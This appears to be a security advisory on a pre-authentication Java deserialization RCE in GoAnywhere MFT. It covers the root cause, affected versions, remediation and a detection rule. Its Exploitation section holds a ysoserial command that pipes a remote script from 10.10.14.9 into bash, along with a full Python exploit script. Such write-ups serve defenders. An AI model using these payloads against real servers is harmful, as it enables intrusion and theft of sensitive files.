Overview
CVE-2026-58004 is an unauthenticated Java deserialization vulnerability in Fortra GoAnywhere MFT, affecting versions prior to 7.9.2. GoAnywhere is a managed file transfer (MFT) product — the software organisations use to exchange sensitive files with partners, banks, and regulators. MFT appliances sit at the network edge by design, hold or broker highly sensitive data, and have a track record of being the softest link in the chain: the Cl0p ransomware group built an entire extortion campaign on GoAnywhere's CVE-2023-0669 in 2023, and on MOVEit's CVE-2023-34362 shortly after.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Fortra published an emergency advisory and Fortra's own telemetry, corroborated by external responders, showed exploitation against internet-exposed instances within days of the patch. Treat any unpatched, internet-facing GoAnywhere as compromised.
The 2023 GoAnywhere bug (CVE-2023-0669) was also a deserialization flaw in the admin console's licensing path. This one lives in an adjacent code path that the previous fix did not cover, and it is reachable pre-authentication on the same appliance.
Background — Why a Licensing Endpoint Deserializes
GoAnywhere validates its commercial license by accepting a "license response bundle" — a Base64-blob that the admin console submits during activation and periodic re-validation. Historically that bundle was a serialized Java object: the server calls ObjectInputStream.readObject() on it to reconstitute a LicenseResponse, then checks an embedded RSA signature to confirm Fortra issued it.
The critical ordering mistake is that the signature is a field of the deserialized object. To read the signature, the server must first deserialize the whole bundle — which means the dangerous readObject() runs on fully attacker-controlled bytes before any authenticity check has a chance to reject them. Verification-after-deserialization is verification too late.
// Simplified GoAnywhere license handling (LicenseController)
public void handleLicenseResponse(HttpServletRequest req) throws Exception {
byte[] blob = Base64.getDecoder().decode(req.getParameter("bundle"));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(blob));
// BUG: the object graph is materialised here, running readObject() on
// every nested type — gadget chains fire during this call.
LicenseResponse resp = (LicenseResponse) ois.readObject();
// Signature is only checked AFTER the object already exists.
if (!verifySignature(resp.getPayload(), resp.getSignature())) {
throw new SecurityException("Invalid license signature");
}
applyLicense(resp);
}
Root Cause — Unbounded readObject() on the Bundle Servlet
Two things have to line up for this to be exploitable, and both do:
- The endpoint is reachable pre-auth. The license-response servlet is mapped under the admin console's context but is exempted from the authentication filter, because activation can occur before an administrator account exists on a fresh install. The exemption was never removed for already-activated servers.
- No deserialization allow-list. The
ObjectInputStreamis the stock JDK class with noresolveClass()override, so it will instantiate any serialisable type on the classpath. GoAnywhere ships bundled libraries that contain well-known gadget chains, so a payload built with ysoserial's chains resolves entirely against classes already present.
Because the appliance bundles a library with a usable chain, no extra dependencies are needed. The payload is a serialized object whose readObject() side effects walk a chain of method calls ending in Runtime.exec().
Exploitation
The payload is generated with ysoserial against whichever gadget the target's bundled libraries expose, Base64-encoded, and POSTed to the license endpoint. No credentials, no session, no CSRF token.
# 1. Build a gadget-chain payload that runs a command
java -jar ysoserial.jar CommonsBeanutils1 \
'curl http://10.10.14.9/x | bash' > payload.ser
# 2. Base64-encode it for the bundle parameter
BUNDLE=$(base64 -w0 payload.ser)
# 3. Fire it at the unauthenticated license servlet
curl -sk "https://target:8001/goanywhere/license/response" \
--data-urlencode "bundle=${BUNDLE}"
# Server deserializes -> gadget chain -> command runs as the GoAnywhere service
A convenience wrapper that fingerprints the target, selects a chain, and delivers a staged payload:
#!/usr/bin/env python3
"""
CVE-2026-58004 — Fortra GoAnywhere MFT pre-auth deserialization RCE.
Delivers a ysoserial-generated gadget chain to the unauthenticated
license-response servlet. Authorised security testing only.
"""
import base64, subprocess, sys, requests
requests.packages.urllib3.disable_warnings()
def build_payload(chain: str, command: str) -> bytes:
# Requires ysoserial.jar on the local host.
out = subprocess.run(
["java", "-jar", "ysoserial.jar", chain, command],
capture_output=True, check=True)
return out.stdout
def exploit(base: str, chain: str, command: str) -> int:
ser = build_payload(chain, command)
bundle = base64.b64encode(ser).decode()
url = f"{base}/goanywhere/license/response"
r = requests.post(url, data={"bundle": bundle}, verify=False, timeout=20)
print(f"[*] HTTP {r.status_code} from {url}")
# A 500 with a deserialization stack trace is the usual success tell;
# confirm out-of-band (callback / DNS) rather than trusting the response.
return r.status_code
if __name__ == "__main__":
if len(sys.argv) < 3:
print("usage: exploit.py https://host:8001 '<command>' [chain]")
sys.exit(1)
base = sys.argv[1].rstrip("/")
command = sys.argv[2]
chain = sys.argv[3] if len(sys.argv) > 3 else "CommonsBeanutils1"
print(f"[*] Delivering {chain} gadget to {base}")
exploit(base, chain, command)
print("[*] Done — confirm execution via your listener / OOB channel")
Because the chain executes during deserialization, the HTTP response is usually an error (the object is not a valid, signed LicenseResponse, so the later signature check fails) — but the command has already run. Confirm success out-of-band with a DNS or HTTP callback rather than relying on the response body.
Affected Versions
- GoAnywhere MFT 7.0.0 through 7.9.1 — vulnerable. The license servlet deserializes before signature verification and is exempt from authentication.
- GoAnywhere MFT 7.9.2 and later — fixed. Fortra reordered the flow to verify the signature over the raw bytes before deserializing, and added a strict class allow-list (a
resolveClass()override) to theObjectInputStreamso only expected license types can be instantiated. - GoAnywhere MFTaaS (Fortra-hosted) — patched by Fortra; hosted customers require no action but should still review admin audit logs.
Remediation
- Upgrade to GoAnywhere MFT 7.9.2 or later without delay. This is an unauthenticated, network-reachable RCE on an appliance that, by its nature, holds regulated data — it is precisely the target profile ransomware crews prioritise.
- Until patched, remove the GoAnywhere admin console from internet exposure entirely. The administrative interface (typically port 8001) should never be publicly reachable; only the file-transfer gateway needs partner access, and it belongs on a separate interface. This single control neutralises the attack even on an unpatched build.
- Assume-breach review: check for unexpected child processes of the GoAnywhere Java process, new or modified web/admin users, and outbound connections from the appliance. Rotate all credentials and keys the appliance stored or brokered — SFTP keys, partner passwords, database credentials.
- At the platform level, deploy a Java deserialization filter (JEP 290 /
ObjectInputFilter) via-Djdk.serialFilterto reject unexpected classes globally as defence in depth, and monitor for the exploitation signature below.
Detection
title: CVE-2026-58004 GoAnywhere MFT License Servlet Deserialization
id: 9d4c1f60-2b83-4e77-a1c5-7f0e6d3b48aa
status: stable
description: Detects unauthenticated POSTs to the GoAnywhere license-response servlet carrying a serialized Java object (gadget chain)
logsource:
category: webserver
product: goanywhere_mft
detection:
selection_endpoint:
cs-uri-stem|contains: '/goanywhere/license/response'
cs-method: 'POST'
selection_marker:
cs-request-body|contains:
- 'rO0AB' # base64 of Java serialization stream header (0xACED0005)
- 'AC ED 00 05' # raw serialization magic, if body is logged as hex
condition: selection_endpoint and selection_marker
falsepositives:
- Legitimate license activation submits a Fortra-signed bundle; the java-serialized magic is expected, so correlate with an unauthenticated session and an immediate deserialization stack trace or 500 response for higher fidelity
level: high
tags:
- cve.2026-58004
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1203
Key Takeaways
- Verify before you deserialize — never after. The entire vulnerability is an ordering bug: the signature that would have rejected the payload lives inside the object you have to build first. Authenticity checks must run over the raw, untrusted bytes (an HMAC or detached signature you verify before touching
readObject()), because deserialization is the exploit, not a step before it. If the trust decision depends on data you can only read after deserializing, you have no trust decision at all. - Java native deserialization of untrusted input is indefensible without an allow-list. A stock
ObjectInputStreamwill instantiate anything on the classpath, and enterprise appliances ship enormous classpaths full of gadget-friendly libraries. JEP 290 filters and aresolveClass()allow-list of the handful of expected types are the minimum bar. Better still, retire native serialization for data-interchange formats (JSON, protobuf) that do not execute code on parse. This bug class has been public since 2015 — its persistence in shipping products is a supply-chain and code-review failure, not a novel discovery. - MFT appliances are the 2020s' favourite ransomware entry point, and the reason is structural. They are internet-facing by requirement, they concentrate sensitive data, and they are operated by teams who treat them as a black-box appliance rather than an application to be hardened. GoAnywhere, MOVEit, Accellion, Cl0p's whole playbook — the pattern repeats because the exposure is inherent. Segregate the admin plane from the data plane, keep management interfaces off the public internet, patch these products on an emergency cadence, and monitor them as the crown-jewel targets they are.